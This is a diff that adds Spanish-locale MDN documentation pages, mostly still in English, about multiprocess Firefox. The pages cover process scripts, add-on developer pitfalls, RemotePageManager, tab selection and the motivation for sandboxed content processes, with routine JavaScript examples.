+<p><span id="result_box" lang="es"><span>La solución en estos casos es usar un script de proceso en lugar de un frame script.</span></span></p>
+
+<p>You can load a process script by accessing a <a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Message_manager_overview#Parent_process">parent process message manager</a> and calling its <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIProcessScriptLoader#loadProcessScript()">loadProcessScript()</a></code> function. The following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes:</p>
+
+<pre class="brush: js">// chrome code
+let ppmm = Cc["@mozilla.org/parentprocessmessagemanager;1"]
+  .getService(Ci.nsIProcessScriptLoader);
+ppmm.loadProcessScript("chrome://whatever/process-script.js", true);
+ppmm.addMessageListener("Hello", function(msg) { ... });</pre>
+
+<p>The process script's global is a <a href="/en-US/Firefox/Multiprocess_Firefox/Message_Manager/Message_manager_overview#Child_process_message_manager">child process message manager</a>, which enables the process script to receive messages from the chrome side, and to send messages to the chrome side:</p>
+
+<pre class="brush: js">// process-script.js
+if (Services.appinfo.processType == Services.appinfo.PROCESS_TYPE_CONTENT) {
+  dump("Welcome to the process script in a content process");
+} else {
+  dump("Welcome to the process script in the main process");
+}
+
+// Message is sent using <code>ContentProcessMessageManager</code>
+sendAsyncMessage("Hello");</pre>
+
+<p>In this example, the <code>dump()</code> statement will run once in each content process as well as in the main process. This example also figures out whether it is running in the chrome or in a content process by looking at the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXULRuntime#Process_type_constants">process type</a> in <code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Services.jsm">Services.appinfo</a></code>.</p>
+
+<p>In just about every respect, using process scripts is like using frame scripts:</p>
+
+<ul>
+ <li>you can pass the allowDelayedLoad to <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIProcessScriptLoader#loadProcessScript()">loadProcessScript()</a></code>. If you do, you must call <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIProcessScriptLoader#removeDelayedProcessScript()">removeDelayedProcessScript()</a></code> when your extension is disabled or removed</li>
+ <li>the message-passing APIs are the same: <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageSender#sendAsyncMessage()">sendAsyncMessage()</a></code> is available in both directions, while <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISyncMessageSender#sendSyncMessage()">sendSyncMessage()</a></code> is available from content to chrome only</li>
+ <li>process scripts are system-privileged, and have access to the <code><a href="/en-US/docs/Components_object">Components</a></code> object. However, process scripts are subject to <a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">the same kinds of limitations as frame scripts</a> (for example, no file system access).</li>
+ <li>process scripts stay loaded until their host process is closed.</li>
+ <li>the environment for process scripts is similar to that for frame scripts. However, you don't get access to web content or DOM events from a process script.</li>
+</ul>
+
+<h2 id="Retrieving_the_content_frame_message_manager_for_a_content_window">Retrieving the content frame message manager for a content window</h2>
+
+<p>When an observer notification in a process script contains a content document or window it can be useful to not use talk through the child/parent process message managers but through the window's content frame message manager, e.g. if responses should be processed by a frame script instead of the process script.</p>
+
+<p>This can be achieved by traversing the docshell tree up to the top window and then retrieving its content message manager, as follows:</p>
+
+<pre class="brush: js">function contentMMFromContentWindow(window) {
+  let tree = window.QueryInterface(Ci.nsIInterfaceRequestor).getInterface(Ci.<span class="pl-c1">nsIDocShellTreeItem</span>);
+  let top = tree.sameTypeRootTreeItem;
+  let iface = QueryInterface(Ci.nsIDocShell).QueryInterface(Ci.nsIInterfaceRequestor);
+  return iface.getInterface(Ci.nsIContentFrameMessageManager);
+}
+</pre>
+
+<div class="note">
+<p>This is intended for unprivileged pages running in a content process. Chrome-privileged pages or things running in the parent process may require special treatment.</p>
+</div>
+
+<p>If the above doesn't work try this:</p>
+
+<pre class="brush: js">function contentMMFromContentWindow_Method2(aContentWindow) {
+    return aContentWindow.QueryInterface(Ci.nsIInterfaceRequestor)
+                         .getInterface(Ci.nsIDocShell)
+                         .QueryInterface(Ci.nsIInterfaceRequestor)
+                         .getInterface(Ci.nsIContentFrameMessageManager);
+}</pre>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/motivation/index.html b/files/es/mozilla/firefox/multiprocess_firefox/motivation/index.html
new file mode 100644
index 0000000000..0a4f0cb3e6
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/motivation/index.html
@@ -0,0 +1,46 @@
+---
+title: Motivation
+slug: Mozilla/Firefox/Multiprocess_Firefox/Motivation
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Motivation
+---
+<div>{{FirefoxSidebar}}</div><p>There are three main reasons for making Firefox run content in a separate process: performance, security, and stability.</p>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Most performance work at Mozilla over the last two years has focused on responsiveness of the browser. The goal is to reduce “<a href="/en-US/docs/Glossary/Jank">jank</a>”—those times when the browser seems to briefly freeze when loading a big page, typing in a form, or scrolling. Responsiveness tends to matter a lot more than throughput on the web today. Much of this work has been done as part of the <a href="https://wiki.mozilla.org/Performance/Snappy">Snappy project</a>. The main focuses have been:</p>
+
+<ul>
+ <li>Moving long-running actions to a separate thread so that the main thread can continue to respond to the user.</li>
+ <li>Doing I/O asynchronously or on other threads so that the main thread isn’t blocked waiting for the disk.</li>
+ <li>Breaking long-running code into shorter pieces and running the event loop in between. Incremental garbage collection is an example of this.</li>
+</ul>
+
+<p>Much of the low-hanging fruit in these areas has already been picked. The remaining issues are difficult to fix. For example, JavaScript execution and layout happen on the main thread, and they block the event loop. Running these components on a separate thread is difficult because they access data, like the DOM, that are not thread-safe. As an alternative, we’ve considered allowing the event loop to run in the middle of JavaScript execution, but doing so would break a lot of assumptions made by other parts of Firefox (not to mention add-ons).</p>
+
+<p>Running web content in a separate process is a nice alternative to these approaches. Like the threaded approach, Firefox is able to run its event loop while JavaScript and layout are running in a content process. But unlike threading, the UI code has no access to content DOM or or other content data structures, so there is no need for locking or thread-safety. The downside, of course, is that any code in the Firefox UI process that needs to access content data must do so explicitly through message passing.</p>
+
+<p>We feel this tradeoff makes sense for a few reasons:</p>
+
+<ul>
+ <li>It’s not all that common for Firefox code to access content DOM.</li>
+ <li>Code that is shared with Firefox OS already uses message passing.</li>
+ <li>In the multiprocess model, Firefox code that fails to use message passing to access content will fail in an obvious, consistent way. In the threaded model, code that accesses content without proper locking will fail in subtle ways that are difficult to debug.</li>
+</ul>
+
+<h2 id="Security">Security</h2>
+
+<p>Right now, if someone discovers an exploitable bug in Firefox, they’re able to take over users’ computers. There are a lot of techniques to mitigate this problem, but one of the most powerful is <a href="http://en.wikipedia.org/wiki/Sandbox_%28computer_security%29">sandboxing</a>. Technically, sandboxing doesn’t require multiple processes. However, a sandbox that covered single-process Firefox wouldn’t be very useful. Sandboxes are only able to prevent processes from performing actions that a well-behaved process would never do. Unfortunately, a well-behaved Firefox process (especially one with add-ons installed) needs access to much of the network and file system. Consequently, a sandbox for single-process Firefox couldn’t restrict much.</p>
+
+<p>In multiprocess Firefox, content processes will be sandboxed. A well-behaved content process won’t access the filesystem directly; it will have to ask the main process to perform the request. At that time, the main process can verify that the request is safe and that it makes sense. Consequently, the sandbox for content processes can be quite restrictive. Our hope is that this arrangement will make it much harder to craft exploitable security holes for Firefox.</p>
+
+<h2 id="Stability">Stability</h2>
+
+<p>Currently, a crash in the code running a web page will take down the entire browser. With multiprocess Firefox, only the content process that crashed will be killed.</p>
+
+<div class="note">
+<p>This page incorporates a lot of content from Bill McCloskey's blog post on multiprocess Firefox: <a href="http://billmccloskey.wordpress.com/2013/12/05/multiprocess-firefox/">http://billmccloskey.wordpress.com/2013/12/05/multiprocess-firefox/</a></p>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/pitfalls_for_add-on_developers/index.html b/files/es/mozilla/firefox/multiprocess_firefox/pitfalls_for_add-on_developers/index.html
new file mode 100644
index 0000000000..4f109bf795
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/pitfalls_for_add-on_developers/index.html
@@ -0,0 +1,212 @@
+---
+title: Pitfalls for add-on developers
+slug: Mozilla/Firefox/Multiprocess_Firefox/Pitfalls_for_add-on_developers
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Pitfalls_for_add-on_developers
+---
+<div>{{FirefoxSidebar}}</div><h2 id="Overview">Overview</h2>
+
+<p>This page lists patterns that add-on authors might be using that won't work, or will work differently, in multiprocess Firefox.</p>
+
+<p>It's split into two sections: chrome process and content process.</p>
+
+<h3 id="Chrome_process">Chrome process</h3>
+
+<p>The first section, <em>chrome process</em>, covers things that used to work in the chrome process that will no longer work in multiprocess Firefox. These are the sorts of things that will break an old add-on in multiprocess Firefox. The fix is generally some variant of "do that in a frame script loaded into the content process".</p>
+
+<h4 id="Compatibility_shims">Compatibility shims</h4>
+
+<p>For many of the patterns described here we've implemented compatibility shims so the patterns still work. For example: whenever extensions try to access web content from the chrome process, the browser will return a <a href="https://developer.mozilla.org/en-US/docs/Cross_Process_Object_Wrappers">Cross Process Object Wrapper</a> that gives the chrome code synchronous access to the content.</p>
+
+<p>You'll get the shims for your add-on by default, unless you set the <a href="/en-US/Add-ons/Install_Manifests#multiprocessCompatible"><code>multiprocessCompatible</code> flag in your add-on's install manifest</a>.</p>
+
+<p>However, these shims are not a substitute for migrating extensions:</p>
+
+<ul>
+ <li>they are only a temporary measure, and will be removed eventually</li>
+ <li>they can have a bad effect on responsiveness</li>
+ <li>there are likely to be edge cases in which they don't work properly</li>
+</ul>
+
+<p>For each pattern we've noted:</p>
+
+<ul>
+ <li>whether a shim exists and what kind of behavior it provides</li>
+ <li>how to update your add-on so you don't need the shim</li>
+</ul>
+
+<h3 id="Content_process">Content process</h3>
+
+<p>However, some things that used to work in a chrome process will not work in the content process. The second section, <em>content process</em>, lists these sorts of things along with their mitigation.</p>
+
+<h2 id="Chrome_process_pitfalls">Chrome process pitfalls</h2>
+
+<h3 id="gBrowser.contentWindow_window.content...">gBrowser.contentWindow, window.content...</h3>
+
+<h4 id="Without_the_shim">Without the shim</h4>
+
+<p>All APIs in the chrome process that provide direct access to content objects will no longer work. For example:</p>
+
+<pre class="brush: js">// chrome code
+
+gBrowser.contentWindow;                    // null
+
+gBrowser.contentDocument;                  // null
+
+gBrowser.selectedBrowser.contentWindow;    // null
+
+window.content;                            // null
+
+content;                                   // null
+</pre>
+
+<h4 id="With_the_shim">With the shim</h4>
+
+<p>The shim will give you a <a href="/en-US/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">CPOW</a> for the content object in these situations.</p>
+
+<p>To make the shim unnecessary: factor the code that needs to access content into a separate script, load that script into the content process as a frame script, and communicate between the chrome script and the frame script using the message-passing APIs. See the article on <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">using the message manager</a>.</p>
+
+<h3 id="nsIContentPolicy">nsIContentPolicy</h3>
+
+<h4 id="Without_the_shim_2">Without the shim</h4>
+
+<p>Under multiprocess Firefox you can't use <a href="http://dxr.mozilla.org/mozilla-central/source/dom/base/nsIContentPolicy.idl"><code>nsIContentPolicy</code></a> in the chrome process, because it needs to touch web content.</p>
+
+<h4 id="With_the_shim_2">With the shim</h4>
+
+<p>The shim enables you to add content policies in the chrome process. It transparently registers an <code>nsIContentPolicy</code> in the content process, whose <code>shouldLoad</code> just forwards to the chrome process. The content to check is forwarded as a <a href="/en-US/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">CPOW</a>. The chrome process then checks the content against the policy supplied by the add-on, and forwards the response back to the child to be enforced.</p>
+
+<p>To make the shim unnecessary: define and register <code>nsIContentPolicy</code> inside a <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">frame script</a>.</p>
+
+<h3 id="Observers_in_the_chrome_process">Observers in the chrome process</h3>
+
+<p>Depending on the topic, you need to register observers in either the chrome process or in a frame script.</p>
+
+<p>For most topics you need to register observers in the chrome process.</p>
+
+<p>However, you must listen to <a href="/en/docs/Observer_Notifications#Documents"><code>content-document-global-created</code> and <code>document-element-inserted</code></a> in a frame script. <a href="http://dxr.mozilla.org/mozilla-central/source/xpcom/ds/nsIObserver.idl">Observers</a> for these topics get content objects as the <code>aSubject</code> argument to <code>observe()</code>, so notifications are not sent to the chrome process.</p>
+
+<p>There is a shim that will forward these two topics to the chrome process, sending <a href="/en-US/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">CPOWs</a> as the <code>aSubject</code> argument.</p>
+
+<h4 id="HTTP_requests">HTTP requests</h4>
+
+<p>You can't observe <a href="https://developer.mozilla.org/en/docs/Observer_Notifications#HTTP_requests">HTTP requests</a> in the content process. If you do, you'll get an error.<br>
+ <br>
+ If you do so in the chrome process, it will mostly work. The subject for the observer notification will be an <code><a href="http://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/http/nsIHttpChannel.idl">nsIHttpChannel</a></code> as you would expect. A common pattern here is to use the <code>notificationCallbacks</code> property of the <code>nsIHttpChannel</code> to get the DOM window that initiated the load, like this:</p>
+
+<pre class="brush: js">observe: function (subject, topic, data) {
+  if (topic == "http-on-modify-request") {
+    var httpChannel = subject.QueryInterface(Ci.nsIHttpChannel);
+    var domWindow = httpChannel.notificationCallbacks.getInterface(Ci.nsIDOMWindow);
+  }
+}</pre>
+
+<p>Or this:</p>
+
+<pre class="brush: js">observe: function (subject, topic, data) {
+  if (topic == "http-on-modify-request") {
+    var httpChannel = subject.QueryInterface(Ci.nsIHttpChannel);
+    var domWindow = httpChannel.notificationCallbacks.getInterface(Ci.nsILoadContext).associatedWindow;
+  }
+}</pre>
+
+<p>In multiprocess Firefox these patterns will no longer work: the <code>getInterface</code> call will fail.</p>
+
+<p>In multiprocess Firefox, <code>notificationCallbacks</code> is a special object that tries to emulate the single-process <code>notificationsCallbacks</code> object as best it can. It will return a dummy <code>nsILoadContext</code> when asked, but any attempt to get a window out of it will fail.<br>
+ <br>
+ There is an outstanding bug (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1108827">bug 1108827</a>) to implement a shim here, that will make <code>notificationCallbacks</code> a <a href="/en-US/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">CPOW</a> for the objects in the content process.</p>
+
+<h3 id="DOM_Events">DOM Events</h3>
+
+<h4 id="Without_the_shim_3">Without the shim</h4>
+
+<p>In multiprocess Firefox, if you want to register an event listener on some content DOM node, that needs to happen in the content process.</p>
+
+<p>It used to be that if you registered a listener on the <a href="/en-US/docs/XUL/browser">XUL <code>&lt;browser&gt;</code></a>  or <a href="/en-US/docs/XUL/tab"><code>&lt;tab&gt;</code></a> element that hosted some DOM content, then events in the content would bubble up to the XUL and you could handle them there. This no longer happens in multiprocess Firefox.</p>
+
+<h4 id="With_the_shim_3">With the shim</h4>
+
+<p>The shim intercepts chrome process code that adds listeners to XUL elements and sets up listeners in the content process, relaying the result back to the chrome process. The <a href="/en-US/docs/Web/API/Event"><code>Event</code></a> object itself is relayed to the chrome process as a <a href="/en-US/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">CPOW</a>.</p>
+
+<p>To make the shim unnecessary: register event listeners on the global object inside a <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">frame script</a>. For example:</p>
+
+<pre class="brush: js">addEventListener("load", handler, true) // for example</pre>
+
+<div>If you need to contact the chrome process when that happens, send it a message.</div>
+
+<div> </div>
+
+<h2 id="Content_process_pitfalls">Content process pitfalls</h2>
+
+<p>Many privileged APIs will just work in a content process. Anything that just manipulates data structures will just work. XHR and Workers will work.</p>
+
+<h3 id="File_IO">File I/O</h3>
+
+<p>You should not write to or read from the disk from a frame script, in particular the profile directory. Even if this is possible, you should not do it and may expect that it could stop working at any time. File I/O should all be done in the chrome process. For example:</p>
+
+<ul>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsIFileStreams.idl"><code>nsIFileInputStream</code></a></li>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsIFileStreams.idl"><code>nsIFileOutputStream</code></a></li>
+</ul>
+
+<h3 id="XUL_and_browser_UI">XUL and browser UI</h3>
+
+<p>Anything that tries to touch the browser UI or anything to do with XUL is likely to not work in the content process. For example:</p>
+
+<ul>
+ <li><code><a href="http://dxr.mozilla.org/mozilla-central/source/embedding/components/windowwatcher/nsIPromptService.idl">nsIPromptService</a></code></li>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/widget/nsIFilePicker.idl"><code>nsIFilePicker</code></a></li>
+ <li><code>nsIXUL*</code></li>
+ <li>&lt;need more examples&gt;</li>
+</ul>
+
+<h3 id="Chrome_windows">Chrome windows</h3>
+
+<p>Anything that needs to use chrome windows will not work in the content process. For example:</p>
+
+<ul>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/mobile/android/components/SessionStore.idl"><code>nsISessionStore</code></a></li>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/xpfe/appshell/nsIWindowMediator.idl"><code>nsIWindowMediator</code></a></li>
+ <li>&lt;need more examples&gt;</li>
+</ul>
+
+<h3 id="Places_API">Places API</h3>
+
+<p>The <a href="/en-US/docs/Mozilla/Tech/Places">Places API</a> can't be used inside a frame script. For example:</p>
+
+<ul>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/toolkit/components/places/nsINavHistoryService.idl"><code>nsINavHistoryService</code></a></li>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/toolkit/components/places/nsINavBookmarksService.idl"><code>nsINavBookmarksService</code></a></li>
+</ul>
+
+<h3 id="Observers_in_the_content_process">Observers in the content process</h3>
+
+<p>As noted in <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox/Problem_areas_for_add-on_developers#Observers_in_the_chrome_process">Observers in the chrome process</a>, most <a href="http://dxr.mozilla.org/mozilla-central/source/xpcom/ds/nsIObserver.idl">observers</a> should be registered in the chrome process and will not work in the content process. The exceptions are <a class="new" href="https://developer.mozilla.org/en/docs/Observer_Notifications#Documents"><code>content-document-global-created</code> and <code>document-element-inserted</code></a> , which must be registered in a frame script.</p>
+
+<h3 id="QI_from_content_window_to_chrome_window">QI from content window to chrome window</h3>
+
+<div>There's a particular pattern often used to get from a content window to the associated chrome window. It looks something like this:</div>
+
+<div> </div>
+
+<pre class="brush: js">window.QueryInterface(Ci.nsIInterfaceRequestor)
+                         .getInterface(Ci.nsIWebNavigation)
+                         .QueryInterface(Ci.nsIDocShellTreeItem)
+                         .rootTreeItem
+                         .QueryInterface(Ci.nsIInterfaceRequestor)
+                         .getInterface(Ci.nsIDOMWindow);</pre>
+
+<div>This will no longer work. In the content process the root tree item is an <a href="http://dxr.mozilla.org/mozilla-central/source/dom/interfaces/base/nsITabChild.idl"><code>nsITabChild</code></a>, that cannot be converted to an <code>nsIDOMWindow</code>, so the second <code>getInterface</code> call here will fail.</div>
+
+<div> </div>
+
+<p>If you want a chrome window: send a message from the content process using the <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager</a>. The <a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageListener#receiveMessage()"><code>target</code></a> property of the object passed into the message handler in the chrome process is the XUL <a href="/en-US/docs/XUL/browser"><code>&lt;browser&gt;</code></a> receiving the message, and you can get the chrome window from that (Note: I'm not really sure how...).</p>
+
+<h3 id="nsIAboutModule">nsIAboutModule</h3>
+
+<p>By default, custom <code>about:</code> pages registered using <a href="http://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/nsIAboutModule.idl"><code>nsIAboutModule</code></a> are loaded in the chrome process. This means that you can't access their content from the content process (via XHR, for example).</p>
+
+<p>There is a shim for this, that makes the content of <code>about:</code> pages registered by the add-on transparently available in the content process.</p>
+
+<p>To avoid the shim: if you need to access the content of your about page from the content process, you need to register the <code>nsIAboutModule</code> in the content process as well as the chrome process. By default, <code>about:</code> pages (except for a small whitelist) are loaded in the chrome process when browsed to from the AwesomeBar.</p>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/remotepagemanager/index.html b/files/es/mozilla/firefox/multiprocess_firefox/remotepagemanager/index.html
new file mode 100644
index 0000000000..083b13f1e0
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/remotepagemanager/index.html
@@ -0,0 +1,127 @@
+---
+title: RemotePageManager
+slug: Mozilla/Firefox/Multiprocess_Firefox/RemotePageManager
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/RemotePageManager
+---
+<div>{{FirefoxSidebar}}</div><p>{{ gecko_minversion_header('39') }}</p>
+
+<p>One of the challenges of converting Firefox features and add-ons to <a href="/en-US/Firefox/Multiprocess_Firefox">multiprocess Firefox</a> involves in-content pages. These pages (like about:addons) display in a tab but for now still render in the main process. There can be many reasons for wanting to move these into the content process, particularly if the page interacts with web content in any way but more generally just to keep the main UI as responsive as possible.</p>
+
+<p>This raises the problem of how the page communicates back to the main process to get information and trigger actions. Commonly this is done with a frame script listening for DOM events from inside the page, performing the necessary message passing and then passing results back to the page. However, this middleman approach has problems. The frame code is maintained separately from the page code leading to three different pieces of code handling behavior for the page. Add-ons also have to be careful to choose unique names for messages to avoid conflicting with other add-ons and Firefox code.</p>
+
+<p><code>RemotePageManager</code> is an API designed to simplify this. It acts as the middleman between code in the main process and code in the page without needing to write custom code in a frame script. Code in the main process registers URLs that it is interested in. Whenever a frame loads a page with that URL, a pseudo message manager is created to allow message passing between just that page and the code in the main process. Code running in the page itself can access the message manager directly without needing to use a frame script at all.</p>
+
+<h2 id="RemotePageManager">RemotePageManager</h2>
+
+<p><code>RemotePageManager</code> is the low-level way to interact with in-content pages. It includes the following methods:</p>
+
+<dl>
+ <dt><code>addRemotePageListener(url, callback)</code></dt>
+ <dd>Registers interest in a URL. Whenever a new page loads at that URL callback is called and passed the message channel to use to communicate with the page. Only one callback can be registered per URL.</dd>
+ <dt><code>removeRemotePageListener(url)</code></dt>
+ <dd>Unregisters interest in a URL. The callback passed above will not be called again.</dd>
+</dl>
+
+<h2 id="RemotePages">RemotePages</h2>
+
+<p><code>RemotePages</code> is a higher-level option. As well as the methods listed here it also has the <a href="/en-US/Firefox/Multiprocess_Firefox/RemotePageManager#Message_channel_methods">message channel methods</a> which will send messages to, and receive messages from, every page currently loaded at the URL.</p>
+
+<dl>
+ <dt><code>RemotePages(url)</code></dt>
+ <dd>Creates a new <code>RemotePages</code> instance for a URL.</dd>
+ <dt><code>destroy()</code></dt>
+ <dd>Destroys the instance.</dd>
+</dl>
+
+<h2 id="Message_channel_methods">Message channel methods</h2>
+
+<p>All of these methods are available directly in the page, on <code>RemotePages</code> instances, or on the channel passed to callbacks registered with <code>RemotePageManager.addRemotePageListener</code>.</p>
+
+<dl>
+ <dt><code>sendAsyncMessage(name, data)</code></dt>
+ <dd>Sends a named message to the other side of the channel. <code>data</code> is copied as a structured clone.</dd>
+ <dt><code>addMessageListener(name, listener)</code></dt>
+ <dd>Adds a listener for a named message. <code>listener</code> will be called when the other side of the channel sends a message for <code>name</code>. <code>listener</code> will be passed an object with the properties <code>target</code>, <code>name</code>, and <code>data</code>.</dd>
+ <dt><code>removeMessageListener(name, listener)</code></dt>
+ <dd>Removed a listener for a named message.</dd>
+</dl>
+
+<h2 id="Special_messages">Special messages</h2>
+
+<p>As well as any messages that Firefox or add-on code sends through the message channels, some special messages will be sent. Generally any message name starting with "RemotePage:" should be considered reserved for future use.</p>
+
+<dl>
+ <dt>RemotePage:Init</dt>
+ <dd>Sent to a <code>RemotePages</code> instance when a new page is loaded with the matching URL. The <code>target</code> property of the object passed to any listener is a message channel for just that page.</dd>
+ <dt>RemotePage:Load</dt>
+ <dd>Sent when the load event for a matching page in the content process is fired.</dd>
+ <dt>RemotePage.Unload</dt>
+ <dd>Sent when a matching page in the content process is unloaded.</dd>
+</dl>
+
+<h2 id="Low_level_example">Low level example</h2>
+
+<p>This example waits for a page to load and then passes it some information.</p>
+
+<pre class="brush: js">// code running in the main process somewhere
+Components.utils.import("resource://gre/modules/RemotePageManager.jsm");
+
+RemotePageManager.addRemotePageListener("about:foo", (channel) =&gt; {
+  // Wait for page load here to be sure the page has had chance to register for this message
+  channel.addMessageListener("RemotePage:Load", function() {
+    channel.sendAsyncMessage("MyMessage", { somedata: 42 });
+  });
+});
+</pre>
+
+<p>Here is the code that runs in the page. Note that it has direct access to <code>addMessageListener</code> (as well as the other message channel methods).</p>
+
+<pre class="brush: js">// code running in the content webpage
+addMessageListener("MyMessage", function(msg) {
+  alert(msg.data.somedata);
+});
+</pre>
+
+<h2 id="High_level_example">High level example</h2>
+
+<p>The code above uses a callback that is called every time a page is loaded. In reality it is going to be more common for code in the main process to simply respond to requests from the page and want to update all pages at once. <code>RemotePages</code> is more suited to this:</p>
+
+<pre class="brush: js">// code running in the main process somewhere
+Components.utils.import("resource://gre/modules/Preferences.jsm");
+Components.utils.import("resource://gre/modules/RemotePageManager.jsm");
+
+let listener = new RemotePages("about:bar");
+
+// Listens to messages from all current and future pages
+listener.addMessageListener("GetLabel", ({ target }) =&gt; {
+  // target is the channel for just the page that sent this message
+  target.sendAsyncMessage("SetLabel", Preferences.get("extensions.label.text"));
+});
+
+Preferences.observe("extensions.label.text", (newLabel) =&gt; {
+  // Sends messages to all currently open pages
+  listener.sendAsyncMessage("SetLabel", newLabel);
+});
+
+listener.addMessageListener("ButtonClicked", () =&gt; {
+  // Do something here
+});
+</pre>
+
+<pre class="brush: js">// code running in the content webpage
+var button = document.getElementById("button");
+var label = document.getElementById("label");
+
+sendAsyncMessage("GetLabel");
+addMessageListener("SetLabel", function(msg) {
+  label.textContent = msg.data;
+});
+
+function buttonClicked() {
+  sendAsyncMessage("ButtonClicked");
+}
+
+button.addEventListener("click", buttonClicked, false);
+</pre>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/tab_selection_in_multiprocess_firefox/index.html b/files/es/mozilla/firefox/multiprocess_firefox/tab_selection_in_multiprocess_firefox/index.html
new file mode 100644
index 0000000000..255fe18315
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/tab_selection_in_multiprocess_firefox/index.html
@@ -0,0 +1,23 @@
+---
+title: Tab selection in multiprocess Firefox
+slug: Mozilla/Firefox/Multiprocess_Firefox/Tab_selection_in_multiprocess_Firefox
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Tab_selection_in_multiprocess_Firefox
+---
+<div>{{FirefoxSidebar}}</div><p>In single-process Firefox, when the user switches tabs, this is a synchronous operation. The browser blocks while it loads content into the newly selected tab, then switches to that tab. It indicates that the tab is selected by setting the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/selected">selected</a></code> attribute on the XUL <code>tab</code> object. Code (including browser code, extensions, or themes) that wants to change the appearance of the selected tab can use the <code>selected</code> attribute to apply CSS for that tab.</p>
+
+<p>In multiprocess Firefox, tab switching is asynchronous. When the user switches tabs, the chrome process sends a request to the content process to load the page into the newly selected tab. The function in the chrome process then returns immediately, so other code can run. Once the content process is ready, it sends a message back to the chrome process, which then switches tabs in the user interface.</p>
+
+<p>There's also a timer in the chrome process: if the content process has not responded before the timer expires, then the browser switches tabs anyway, and just displays an empty tab containing a spinner, until the content process has finished loading the page. Currently the timer is set to 300 milliseconds.</p>
+
+<p>There are, correspondingly, two attributes used to signal tab selection:</p>
+
+<ul>
+ <li>The old <code><a href="/en-US/docs/XUL/Attribute/selected">selected</a></code> attribute is set synchronously, at the start of the process. It signals that tab selection has started, but at this point the user interface has not yet been updated.</li>
+ <li>A new attribute <code><a href="/en-US/docs/Mozilla/Tech/XUL/Attribute/visuallyselected">visuallyselected</a></code> is now used once the browser has actually updated the user interface, either because the content process is ready or because the timer has expired.</li>
+</ul>
+
+<p>This means that code which wants to style the currently selected tab needs to use the <code>visuallyselected</code> attribute to do so. If it uses the <code>selected</code> attribute, then there will be a momentary disconnect in which the newly selected tab's style is updated, but the browser is still displaying the old tab's content.</p>
+
+<footer class="entry-meta"> </footer>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/technical_overview/index.html b/files/es/mozilla/firefox/multiprocess_firefox/technical_overview/index.html
new file mode 100644
index 0000000000..bc743d1dfb
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/technical_overview/index.html
@@ -0,0 +1,166 @@
+---
+title: Technical overview
+slug: Mozilla/Firefox/Multiprocess_Firefox/Technical_overview
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Technical_overview
+---
+<div>{{FirefoxSidebar}}</div><div class="note">
+<p>This page is an edited extract from Bill McCloskey's blog post on multiprocess Firefox: <a class="external external-icon" href="http://billmccloskey.wordpress.com/2013/12/05/multiprocess-firefox/">http://billmccloskey.wordpress.com/2013/12/05/multiprocess-firefox/</a></p>
+</div>
+
+<p>At a very high level, multiprocess Firefox works as follows. The process that starts up when Firefox launches is called the <em>parent process</em>. Initially, this process works similarly to single-process Firefox: it opens a window displaying <a href="http://mxr.mozilla.org/mozilla-central/source/browser/base/content/browser.xul"><code>browser.xul</code></a>, which contains all the principal UI elements for Firefox. Firefox has a flexible GUI toolkit called XUL that allows GUI elements to be declared and laid out declaratively, similar to web content. Just like web content, the Firefox UI has a <code>window</code> object, which has a <code>document</code> property, and this document contains all the XML elements from <code>browser.xul</code>. All the Firefox menus, toolbars, sidebars, and tabs are XML elements in this document. Each tab element contains a <code>&lt;browser&gt;</code> element to display web content.</p>
+
